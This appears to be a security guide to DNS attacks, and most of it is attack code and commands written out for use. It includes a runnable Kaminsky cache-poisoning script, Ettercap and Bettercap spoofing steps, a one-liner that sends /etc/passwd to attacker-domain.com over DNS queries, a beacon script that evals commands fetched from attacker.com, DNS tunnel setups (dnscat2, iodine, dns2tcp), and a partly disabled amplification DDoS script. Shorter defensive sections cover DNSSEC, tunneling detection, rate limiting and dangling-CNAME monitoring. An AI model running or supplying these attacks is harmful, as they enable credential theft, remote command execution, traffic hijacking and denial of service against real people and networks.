DNS Attacks: Comprehensive Guide to DNS Exploitation and Security

                        Root Servers (.)
                              |
            +-----------------+-----------------+
            |                 |                 |
        TLD (.com)         TLD (.org)       TLD (.net)
            |                 |                 |
    Authoritative NS    Authoritative NS   Authoritative NS
    (example.com)       (example.org)      (example.net)
            |
    +-----------------+
    |                 |
subdomain.example.com www.example.com

Client → Recursive Resolver → Root Server → TLD Server → Authoritative NS → Response
   ↑______________________________________________________________|
                    (cached for TTL duration)

Header:
  Transaction ID: 0x1234 (16-bit, must match response)
  Flags: Standard query, recursion desired
  Questions: 1
  Answers: 0
  Authority: 0
  Additional: 0

Question:
  Name: www.example.com
  Type: A (IPv4 address)
  Class: IN (Internet)

Header:
  Transaction ID: 0x1234 (matches query)
  Flags: Response, authoritative answer
  Questions: 1
  Answers: 1
  Authority: 2
  Additional: 2

Answer:
  Name: www.example.com
  Type: A
  Class: IN
  TTL: 3600 seconds
  Data: 192.0.2.1

1. Attacker triggers DNS query for target.com
   Client → Resolver: "What is target.com?"
   Resolver → Authoritative NS: "What is target.com?"

2. Race condition begins
   Attacker floods resolver with forged responses:
   - Transaction ID: 0x0001, Answer: target.com → 192.0.2.100 (attacker IP)
   - Transaction ID: 0x0002, Answer: target.com → 192.0.2.100
   - Transaction ID: 0x0003, Answer: target.com → 192.0.2.100
   ... (thousands of attempts)

3. If attacker's response arrives first AND matches transaction ID:
   - Resolver caches malicious record
   - All clients using this resolver get attacker's IP
   - Cache persists for TTL duration (often hours)

4. Legitimate response arrives but is ignored (query already answered)

#!/usr/bin/env python3
"""
DNS Cache Poisoning PoC (Kaminsky Attack)
Educational purposes only - requires raw socket capabilities
"""

from scapy.all import *
import random
import sys

def poison_dns_cache(target_resolver, target_domain, attacker_ip):
    """
    Attempt to poison DNS cache with malicious record
    WARNING: This is for educational purposes only
    """

    print(f"[*] Target Resolver: {target_resolver}")
    print(f"[*] Target Domain: {target_domain}")
    print(f"[*] Attacker IP: {attacker_ip}")
    print(f"[*] Starting cache poisoning attack...\n")

    # Craft malicious DNS response
    def craft_response(txid, query_name):
        """Create forged DNS response"""

        # IP layer
        ip = IP(
            src=target_resolver,  # Spoof authoritative NS IP
            dst=target_resolver
        )

        # UDP layer
        udp = UDP(
            sport=53,
            dport=random.randint(1024, 65535)  # Guess ephemeral port
        )

        # DNS layer
        dns = DNS(
            id=txid,
            qr=1,  # Response
            aa=1,  # Authoritative answer
            rd=1,  # Recursion desired
            ra=1,  # Recursion available
            qdcount=1,
            ancount=1,
            qd=DNSQR(qname=query_name, qtype='A'),
            an=DNSRR(rrname=query_name, type='A', rdata=attacker_ip, ttl=3600)
        )

        return ip/udp/dns

    # Attack loop
    attempt = 0
    max_attempts = 65536  # All possible transaction IDs

    for txid in range(0, max_attempts):
        # Craft and send forged response
        packet = craft_response(txid, target_domain)

        try:
            send(packet, verbose=0)
            attempt += 1

            if attempt % 1000 == 0:
                print(f"[*] Sent {attempt} forged responses...")

        except Exception as e:
            print(f"[-] Error: {e}")
            break

    print(f"\n[+] Attack complete. Sent {attempt} forged responses.")
    print(f"[*] If successful, {target_domain} now resolves to {attacker_ip} on {target_resolver}")

if __name__ == '__main__':
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} <resolver_ip> <target_domain> <attacker_ip>")
        sys.exit(1)

    # Warning
    print("\n" + "="*60)
    print("WARNING: This tool is for educational purposes ONLY")
    print("Unauthorized DNS cache poisoning is illegal")
    print("="*60 + "\n")

    response = input("Continue? (yes/no): ")
    if response.lower() != 'yes':
        sys.exit(0)

    poison_dns_cache(sys.argv[1], sys.argv[2], sys.argv[3])

# Check if domain uses DNSSEC
dig +dnssec example.com

# Look for RRSIG records in response
# Indicates cryptographically signed DNS records

# Validate DNSSEC chain
delv @8.8.8.8 example.com

# Output shows validation status:
# - Secure: DNSSEC validation successful
# - Insecure: No DNSSEC
# - Bogus: DNSSEC validation failed

# Check for DNS cookie support
dig +cookie example.com @resolver-ip

# Cookies provide:
# - Client identifier
# - Server validation
# - Replay attack prevention

# Configure DNS spoofing in Ettercap
nano /etc/ettercap/etter.dns

# Add entries:
target-domain.com      A   192.168.1.100
*.target-domain.com    A   192.168.1.100

# Start Ettercap with ARP spoofing
ettercap -T -q -i eth0 -M arp:remote /target-ip// /gateway-ip//

# Enable dns_spoof plugin
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /target-ip// /gateway-ip//

# Verify spoofing
# On target machine:
ping target-domain.com
# Should resolve to attacker's IP

# Start Bettercap
bettercap -iface eth0

# Enable DNS spoofer
dns.spoof on

# Set targets
set dns.spoof.domains target-domain.com, *.target-domain.com
set dns.spoof.address 192.168.1.100

# Enable ARP spoofing
set arp.spoof.targets 192.168.1.50
arp.spoof on

# Monitor spoofed queries
events.stream on

# Automated subdomain monitoring
#!/bin/bash
# monitor_subdomains.sh

DOMAIN="example.com"
PREVIOUS_FILE="previous_subdomains.txt"
CURRENT_FILE="current_subdomains.txt"

# Enumerate subdomains
subfinder -d $DOMAIN -silent | sort -u > $CURRENT_FILE

# Check for removed subdomains (potential dangling DNS)
if [ -f $PREVIOUS_FILE ]; then
    REMOVED=$(comm -23 $PREVIOUS_FILE $CURRENT_FILE)

    if [ ! -z "$REMOVED" ]; then
        echo "[!] WARNING: Subdomains removed since last check:"
        echo "$REMOVED"

        # Check if DNS records still exist
        echo "$REMOVED" | while read sub; do
            CNAME=$(dig +short CNAME $sub)
            if [ ! -z "$CNAME" ]; then
                echo "[!] ALERT: $sub has CNAME to $CNAME but subdomain is removed!"
                echo "    This may be vulnerable to takeover!"
            fi
        done
    fi
fi

# Update baseline
mv $CURRENT_FILE $PREVIOUS_FILE

# Encode data in DNS query
# Each query can contain ~63 characters per label, 253 total

# Example: Exfiltrate /etc/passwd
cat /etc/passwd | base64 | fold -w 63 | while read line; do
    dig $line.attacker-domain.com @attacker-dns-server
    sleep 1
done

# On attacker's DNS server (log file):
tail -f /var/log/named/queries.log | grep attacker-domain.com | \
    awk '{print $6}' | cut -d'.' -f1 | base64 -d

# Attacker sets up authoritative DNS server to respond with TXT records

# Client queries with data in subdomain
# Server responds with encoded commands in TXT record

# Client script:
#!/bin/bash
while true; do
    # Send beacon
    RESPONSE=$(dig +short TXT "$(hostname).beacon.attacker.com" @attacker-server)

    # Execute commands from TXT response
    eval $RESPONSE

    # Send results
    RESULT=$(eval $RESPONSE | base64 -w0)
    dig ${RESULT:0:63}.response.attacker.com @attacker-server

    sleep 60
done

# Server (attacker machine)
ruby dnscat2.rb attacker-domain.com

# Client (victim machine)
./dnscat --secret=secretkey attacker-domain.com

# Or if DNS server is specified:
./dnscat --secret=secretkey --dns server=8.8.8.8,domain=attacker-domain.com

# Once connected:
# - Fully interactive shell
# - File transfer capabilities
# - Port forwarding through DNS
# - Encrypted communication

# dnscat2 commands:
# windows - list active sessions
# window -i 1 - interact with session 1
# shell - spawn interactive shell
# upload/download - file transfer

# Server setup
sudo iodined -f -c -P secretpassword 10.0.0.1 tunnel.attacker.com

# Client connection
sudo iodine -f -P secretpassword tunnel.attacker.com

# Creates virtual network interface (dns0)
# All traffic through this interface is tunneled via DNS

# Use SSH over DNS tunnel
ssh -D 8080 [email protected]
# Now have SOCKS proxy over DNS tunnel

# Performance:
# - ~3-5 KB/s with default DNS
# - ~50-100 KB/s with direct NS queries
# - Depends on DNS resolver recursion limits

# Server configuration
# /etc/dns2tcpd.conf
listen = 0.0.0.0
port = 53
domain = tunnel.attacker.com
ressources = ssh:127.0.0.1:22

# Start server
dns2tcpd -f /etc/dns2tcpd.conf

# Client usage
dns2tcpc -r ssh -z tunnel.attacker.com -l 2222 127.0.0.1

# Now SSH is available on localhost:2222
ssh -p 2222 [email protected]

#!/usr/bin/env python3
"""
DNS Tunneling Detection - Statistical Anomalies
"""

import re
from collections import Counter

def analyze_dns_logs(logfile):
    """Analyze DNS queries for tunneling indicators"""

    suspicious_queries = []

    with open(logfile, 'r') as f:
        for line in f:
            # Extract domain from query
            match = re.search(r'query: ([^\s]+)', line)
            if not match:
                continue

            domain = match.group(1)

            # Indicators of tunneling:

            # 1. Excessive subdomain length
            labels = domain.split('.')
            for label in labels:
                if len(label) > 40:
                    suspicious_queries.append({
                        'domain': domain,
                        'reason': 'Long subdomain label',
                        'value': len(label)
                    })

            # 2. High entropy (random-looking subdomains)
            entropy = calculate_entropy(labels[0] if labels else '')
            if entropy > 4.0:  # High entropy threshold
                suspicious_queries.append({
                    'domain': domain,
                    'reason': 'High entropy subdomain',
                    'value': entropy
                })

            # 3. Unusual character distribution
            if has_base64_pattern(labels[0] if labels else ''):
                suspicious_queries.append({
                    'domain': domain,
                    'reason': 'Base64-like encoding detected'
                })

            # 4. Excessive query volume to single domain
            # (requires tracking across time)

    return suspicious_queries

def calculate_entropy(s):
    """Calculate Shannon entropy of string"""
    import math
    counter = Counter(s)
    length = len(s)
    return -sum(count/length * math.log2(count/length) for count in counter.values())

def has_base64_pattern(s):
    """Check if string matches base64 pattern"""
    return bool(re.match(r'^[A-Za-z0-9+/]+=*$', s))

# Usage
suspicious = analyze_dns_logs('/var/log/named/queries.log')
for query in suspicious:
    print(f"[!] {query['domain']}: {query['reason']}")

# Monitor with tcpdump
tcpdump -i any -n port 53 -A | grep -E '^[A-Za-z0-9+/]{40,}'

# Count queries per domain
tcpdump -i any -n port 53 2>/dev/null | \
    awk '{print $8}' | cut -d'.' -f2- | \
    sort | uniq -c | sort -rn | head -20

# Find long subdomains
tcpdump -i any -n port 53 -A 2>/dev/null | \
    grep -oE '[a-z0-9]{50,}\.[a-z]+' | sort -u

1. Attacker spoofs source IP to victim's IP
   Attacker → Open Resolver: Query for ANY record of large-record.com
   Source IP: VICTIM_IP (spoofed)

2. Resolver queries authoritative server
   Resolver → Authoritative NS: What are ALL records for large-record.com?

3. Large response sent to spoofed IP (victim)
   Resolver → VICTIM_IP: [4000+ bytes of DNS response]

4. Amplification factor calculation:
   Query size: 60 bytes
   Response size: 4000 bytes
   Amplification: 66.6x

5. Multiply by thousands of open resolvers = massive DDoS

# Check if resolver is open
dig @target-resolver example.com

# If response received, resolver is open

# Scan for open resolvers (careful - noisy)
nmap -sU -p 53 --script dns-recursion <network-range>

# Check amplification potential
dig @open-resolver ANY isc.org | wc -c
# Compare response size to query size

# Find resolvers with large amplification
# Query for domains with many records
dig @resolver ANY ripe.net
dig @resolver ANY google.com

#!/usr/bin/env python3
"""
DNS Amplification Attack PoC
WARNING: For educational purposes ONLY
Unauthorized DDoS attacks are illegal
"""

from scapy.all import *
import sys

def dns_amplification(target_ip, resolver_list, domain):
    """
    Demonstrate DNS amplification attack
    """

    print(f"[*] Target: {target_ip}")
    print(f"[*] Using {len(resolver_list)} resolvers")
    print(f"[*] Query domain: {domain}")
    print(f"[*] Starting attack...\n")

    count = 0

    while True:
        for resolver in resolver_list:
            # Craft DNS query with spoofed source IP
            ip = IP(src=target_ip, dst=resolver)  # Spoof victim's IP
            udp = UDP(sport=random.randint(1024, 65535), dport=53)

            # Request ANY record (largest response)
            dns = DNS(rd=1, qd=DNSQR(qname=domain, qtype='ANY'))

            packet = ip/udp/dns

            # Send packet
            send(packet, verbose=0)
            count += 1

            if count % 100 == 0:
                print(f"[*] Sent {count} amplified queries...")

if __name__ == '__main__':
    print("\n" + "="*70)
    print("WARNING: This tool demonstrates illegal DDoS attack techniques")
    print("Use ONLY in authorized testing environments")
    print("Unauthorized use is illegal and punishable by law")
    print("="*70 + "\n")

    # Example open resolvers (DO NOT USE IN REAL ATTACKS)
    resolvers = [
        '8.8.8.8',
        '1.1.1.1',
        # Add more (never use without permission)
    ]

    # Domain with large DNS response
    amplification_domain = 'ripe.net'  # Known to have many records

    # This is where you would specify target (NEVER DO THIS)
    # target = sys.argv[1]

    # dns_amplification(target, resolvers, amplification_domain)
    print("[*] Attack code intentionally disabled")
    print("[*] This is for educational reference only")

# Disable recursion on authoritative servers
# BIND configuration (/etc/named.conf):
options {
    recursion no;
    allow-query { trusted-networks; };
    rate-limit {
        responses-per-second 10;
        window 5;
    };
};

# Response Rate Limiting (RRL)
rate-limit {
    responses-per-second 10;  # Max responses to same IP
    errors-per-second 5;
    window 5;
};

# Block ANY queries
# (legitimate use is rare, mostly used for amplification)
options {
    minimal-responses yes;  # Don't respond to ANY with all records
};

# Implement BCP38 (ingress filtering)
# Prevent IP spoofing at network edge

# Monitor for amplification attacks
# Alert on high DNS query rate from single IP
# Alert on ANY query flood

# Automated subdomain monitoring script
#!/bin/bash
# monitor_dangling_cnames.sh

DOMAIN="example.com"
OUTPUT_DIR="/var/log/dns-monitor"
mkdir -p $OUTPUT_DIR

# Enumerate all subdomains
subfinder -d $DOMAIN -silent | sort -u > $OUTPUT_DIR/all_subdomains.txt

# Check each subdomain
cat $OUTPUT_DIR/all_subdomains.txt | while read subdomain; do
    # Get CNAME
    CNAME=$(dig +short CNAME $subdomain 2>/dev/null)

    if [ ! -z "$CNAME" ]; then
        # Check if CNAME target is resolvable
        CNAME_IP=$(dig +short $CNAME 2>/dev/null)

        if [ -z "$CNAME_IP" ]; then
            echo "[!] WARNING: Dangling CNAME detected!"
            echo "    Subdomain: $subdomain"
            echo "    CNAME: $CNAME"
            echo "    Status: CNAME target does not resolve"

            # Alert
            echo "Dangling CNAME: $subdomain -> $CNAME" | \
                mail -s "DNS Security Alert" [email protected]

            # Log finding
            echo "$(date): $subdomain -> $CNAME (dangling)" >> $OUTPUT_DIR/dangling_cnames.log
        fi

        # Check for specific vulnerable services
        if echo "$CNAME" | grep -Ei "(github\.io|herokuapp|azurewebsites|s3\.amazonaws)"; then
            # Test for takeover
            HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$subdomain" 2>/dev/null)

            if [ "$HTTP_STATUS" == "404" ]; then
                echo "[!!] CRITICAL: Subdomain vulnerable to takeover!"
                echo "     Subdomain: $subdomain"
                echo "     CNAME: $CNAME"
                echo "     HTTP Status: 404"

                # Critical alert
                echo "CRITICAL: Subdomain takeover vulnerability - $subdomain" | \
                    mail -s "CRITICAL DNS Security Alert" [email protected]
            fi
        fi
    fi
done